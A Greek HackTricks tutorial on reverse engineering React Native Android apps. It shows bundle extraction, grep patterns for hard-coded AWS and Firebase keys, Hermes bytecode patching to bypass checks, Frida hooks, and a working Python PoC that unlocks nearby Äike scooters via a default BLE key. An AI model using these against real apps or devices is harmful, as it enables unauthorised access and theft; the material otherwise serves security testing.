Ανάλυση Εφαρμογής React Native
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Για να επιβεβαιώσετε αν η εφαρμογή κατασκευάστηκε με το React Native framework, ακολουθήστε τα παρακάτω βήματα:
-
Μετονομάστε το αρχείο APK σε κατάληξη .zip και εξαγάγετέ το σε νέο φάκελο χρησιμοποιώντας την εντολή
cp com.example.apk example-apk.zipκαιunzip -qq example-apk.zip -d ReactNative. -
Πλοηγηθείτε στον νεοδημιουργημένο φάκελο ReactNative και εντοπίστε το φάκελο assets. Μέσα σε αυτόν θα βρείτε το αρχείο
index.android.bundle, το οποίο περιέχει το React JavaScript σε minified μορφή. -
Χρησιμοποιήστε την εντολή
find . -print | grep -i ".bundle$"για να αναζητήσετε το αρχείο JavaScript.
Σημείωση: Εάν σας δοθεί ένα Android App Bundle (.aab) αντί για APK, δημιουργήστε πρώτα ένα universal APK και στη συνέχεια εξαγάγετε το bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript Code
Αν ελέγξετε τα περιεχόμενα του index.android.bundle, θα βρείτε τον JavaScript κώδικα της εφαρμογής (ακόμα και αν είναι minified), μπορείτε να τον αναλύσετε για να βρείτε ευαίσθητες πληροφορίες και ευπάθειες.
Καθώς το bundle περιέχει ουσιαστικά όλο τον JS κώδικα της εφαρμογής, είναι δυνατό να το χωρίσετε σε διαφορετικά αρχεία (κάνοντάς το ενδεχομένως πιο εύκολο για reverse engineering) χρησιμοποιώντας το εργαλείο react-native-decompiler.
Webpack
Για περαιτέρω ανάλυση του JavaScript κώδικα, μπορείτε να ανεβάσετε το αρχείο στο https://spaceraccoon.github.io/webpack-exploder/ ή να ακολουθήσετε τα παρακάτω βήματα:
- Δημιουργήστε ένα αρχείο με όνομα
index.htmlστον ίδιο κατάλογο με τον ακόλουθο κώδικα:
<script src="./index.android.bundle"></script>
-
Άνοιξε το αρχείο
index.htmlστο Google Chrome. -
Άνοιξε το Developer Toolbar πατώντας Command+Option+J for OS X ή Control+Shift+J for Windows.
-
Κάνε κλικ στο “Sources” στο Developer Toolbar. Θα πρέπει να δεις ένα αρχείο JavaScript που είναι χωρισμένο σε φακέλους και αρχεία, σχηματίζοντας το main bundle.
Αν βρεις ένα αρχείο με όνομα index.android.bundle.map, θα μπορείς να αναλύσεις τον source code σε μη-minified μορφή. Τα map files περιέχουν source mapping, το οποίο σου επιτρέπει να αντιστοιχίσεις minified identifiers.
Για να ψάξεις για ευαίσθητα credentials και endpoints, ακολούθησε τα εξής βήματα:
-
Εντόπισε ευαίσθητες λέξεις-κλειδιά για να αναλύσεις τον JavaScript code. Εφαρμογές React Native συχνά χρησιμοποιούν third-party services όπως Firebase, AWS S3 service endpoints, private keys, κ.λπ.
-
Στη συγκεκριμένη περίπτωση, παρατηρήθηκε ότι η εφαρμογή χρησιμοποιούσε το Dialogflow service. Ψάξε για ένα pattern σχετικό με την configuration του.
-
Ευτυχώς βρέθηκαν ευαίσθητα hard-coded credentials στον JavaScript code κατά τη διάρκεια του recon.
Γρήγορο secrets/endpoint hunting σε bundles
Αυτά τα απλά greps συχνά εμφανίζουν ενδιαφέροντα indicators ακόμα και σε minified JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
Αν υποψιάζεστε πλαίσια ενημερώσεων Over-The-Air, αναζητήστε επίσης:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates διαμόρφωση (
expo-updates,expo\.io, signing certs)
Αλλαγή JS κώδικα και ανακατασκευή
Σε αυτή την περίπτωση η αλλαγή του κώδικα είναι εύκολη. Απλώς πρέπει να μετονομάσετε το app ώστε να χρησιμοποιεί την επέκταση .zip και να το εξαγάγετε. Στη συνέχεια μπορείτε να τροποποιήσετε τον JS κώδικα μέσα σε αυτό το bundle και να ανακατασκευάσετε την εφαρμογή. Αυτό θα πρέπει να είναι αρκετό για να σας επιτρέψει να inject code στην εφαρμογή για δοκιμαστικούς σκοπούς.
Hermes bytecode
Εάν το bundle περιέχει Hermes bytecode, δεν θα μπορείτε να έχετε πρόσβαση στον Javascript κώδικα της εφαρμογής (ούτε καν στην minified version).
Μπορείτε να ελέγξετε αν το bundle περιέχει Hermes bytecode τρέχοντας την ακόλουθη εντολή:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Ωστόσο, μπορείτε να χρησιμοποιήσετε τα εργαλεία hbctool, ενημερωμένα forks του hbctool που υποστηρίζουν νεότερες εκδόσεις bytecode, hasmer, hermes_rs (Rust library/APIs), ή hermes-dec για να disassemble the bytecode και επίσης να decompile it to some pseudo JS code. Για παράδειγμα:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Tip: Το ανοιχτού κώδικα Hermes project επίσης παρέχει εργαλεία για developers όπως το hbcdump σε συγκεκριμένες εκδόσεις του Hermes. Αν χτίσετε την ίδια έκδοση του Hermes που χρησιμοποιήθηκε για να παραχθεί το bundle, το hbcdump μπορεί να εξάγει functions, string tables, και bytecode για βαθύτερη ανάλυση.
Αλλάξτε τον κώδικα και επαναχτίστε (Hermes)
Ιδανικά θα πρέπει να μπορείτε να τροποποιήσετε το disassembled code (αλλάζοντας μια σύγκριση, ή μια τιμή ή ό,τι χρειάζεται) και μετά να rebuild the bytecode και να επαναχτίσετε την εφαρμογή.
- The original hbctool supports disassembling the bundle and building it back after changes, but historically supported only older bytecode versions. Community-maintained forks extend support to newer Hermes versions (including mid-80s–96) and are often the most practical option to patch modern RN apps.
- Το εργαλείο hermes-dec δεν υποστηρίζει rebuilding the bytecode (decompiler/disassembler only), αλλά είναι πολύ χρήσιμο για να πλοηγηθείτε στη λογική και να dump strings.
- Το εργαλείο hasmer στοχεύει να υποστηρίζει τόσο disassembly όσο και assembly για πολλαπλές εκδόσεις Hermes· το assembling εξακολουθεί να ωριμάζει αλλά αξίζει να το δοκιμάσετε σε πρόσφατο bytecode.
A minimal workflow with hbctool-like assemblers:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Σημειώστε ότι η μορφή bytecode του Hermes έχει εκδόσεις και ο assembler πρέπει να ταιριάζει ακριβώς με τη μορφή που υπάρχει στο δίσκο. Αν προκύπτουν σφάλματα μορφής, μεταβείτε σε έναν ενημερωμένο fork/alternative ή rebuild τα αντίστοιχα Hermes tooling.
Δυναμική Ανάλυση
Μία προσέγγιση για να αναλύσετε δυναμικά την εφαρμογή είναι να χρησιμοποιήσετε Frida για να ενεργοποιήσετε τον developer mode της React εφαρμογής και να χρησιμοποιήσετε react-native-debugger για να συνδεθείτε. Ωστόσο, για αυτό φαίνεται πως χρειάζεστε τον πηγαίο κώδικα της εφαρμογής. Μπορείτε να βρείτε περισσότερες πληροφορίες στο https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Enabling Dev Support in release with Frida (caveats)
Μερικές εφαρμογές κατά λάθος περιλαμβάνουν κλάσεις που κάνουν το Dev Support εναλλασσόμενο. Αν υπάρχουν, μπορείτε να δοκιμάσετε να εξαναγκάσετε το getUseDeveloperSupport() να επιστρέψει true:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Warning: Σε σωστά κατασκευασμένα release builds, οι κλάσεις μόνο για debug όπως η DevSupportManagerImpl αφαιρούνται και η αλλαγή αυτού του flag μπορεί να προκαλέσει κατάρρευση της εφαρμογής ή να μην έχει κανένα αποτέλεσμα. Όταν αυτό λειτουργεί, συνήθως μπορείτε να εμφανίσετε το dev menu και να επισυνάψετε debuggers/inspectors.
Υποκλοπή δικτύου σε RN εφαρμογές
Το React Native για Android συνήθως βασίζεται σε OkHttp στο παρασκήνιο (μέσω του native module Networking). Για να υποκλέψετε/παρατηρήσετε την κίνηση σε μια συσκευή χωρίς root κατά τη διάρκεια δυναμικών δοκιμών:
- Χρησιμοποιήστε system proxy + trust user CA ή άλλες γενικές τεχνικές παράκαμψης TLS για Android.
- Συμβουλή ειδικά για RN: αν η εφαρμογή πακετάρει το Flipper στο release κατά λάθος (debug tooling), το Flipper Network plugin μπορεί να αποκαλύψει requests/responses.
Για γενικές τεχνικές υποκλοπής στο Android και παράκαμψης pinning αναφερθείτε σε:
Make APK Accept CA Certificate
Runtime ανακάλυψη πρωτοκόλλου GATT με Frida (Hermes-friendly)
Όταν το Hermes bytecode εμποδίζει την εύκολη στατική επιθεώρηση του JS, κάντε hook στο Android BLE stack αντί γι’ αυτό. Οι android.bluetooth.BluetoothGatt και BluetoothGattCallback αποκαλύπτουν όλα όσα η εφαρμογή στέλνει/λαμβάνει, επιτρέποντάς σας να αντιστρέψετε ιδιόκτητα challenge-response και command frames χωρίς τον JS πηγαίο κώδικα.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest` για να fingerprint hash-based handshakes και να capture την ακριβή input concatenation:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Μια πραγματική ροή BLE που ανακτήθηκε με αυτόν τον τρόπο:
- Διάβασε το challenge από
00002556-1212-efde-1523-785feabcd123. - Υπολόγισε
response = SHA1(challenge || key)όπου το key ήταν ένα 20-byte default of 0xFF που παρείχετο σε όλες τις συσκευές. - Γράψε το response στο
00002557-1212-efde-1523-785feabcd123, και μετά στείλε εντολές στο0000155f-1212-efde-1523-785feabcd123.
Μόλις authenticated, οι εντολές ήταν 10-byte frames προς ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Παραδείγματα: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... Ειδοποιήσεις έφταναν στο 0000155e-1212-efde-1523-785feabcd123 (2-byte registry + payload), και οι registry τιμές μπορούσαν να ερωτηθούν γράφοντας το registry ID στο 00001564-1212-efde-1523-785feabcd123 και μετά διαβάζοντας πίσω από ...155f....
Με shared/default key το challenge-response καταρρέει. Κάθε nearby attacker μπορεί να υπολογίσει το digest και να στείλει privileged commands. Ένα ελάχιστο bleak PoC:
Python (bleak) BLE auth + unlock via default key
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Πρόσφατα ζητήματα σε δημοφιλείς βιβλιοθήκες RN (τι να προσέξετε)
Κατά τον έλεγχο τρίτων modules που είναι ορατά στο JS bundle ή στα native libs, ελέγξτε για γνωστές ευπάθειες και επαληθεύστε τις εκδόσεις στο `package.json`/`yarn.lock`.
- react-native-mmkv (Android): εκδόσεις πριν από την 2.11.0 κατέγραφαν το προαιρετικό encryption key στα Android logs. Αν υπάρχει πρόσβαση μέσω ADB/logcat, τα secrets μπορούν να ανακτηθούν. Εξασφαλίστε έκδοση >= 2.11.0. Δείκτες: χρήση του `react-native-mmkv`, δηλώσεις log που αναφέρουν MMKV init με encryption. CVE-2024-21668.
- react-native-document-picker: εκδόσεις < 9.1.1 ήταν ευάλωτες σε path traversal σε Android (file selection), επιδιορθώθηκε στην 9.1.1. Επαληθεύστε τα inputs και την έκδοση της βιβλιοθήκης.
Quick checks:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Αναφορές
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv καταγράφει το κλειδί κρυπτογράφησης σε Android (NVD)
- hbctool (and forks) για Hermes assemble/disassemble
- Äike BLE authentication bypass: το προεπιλεγμένο BLE private key επιτρέπει το ξεκλείδωμα οποιουδήποτε κοντινού σκούτερ
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


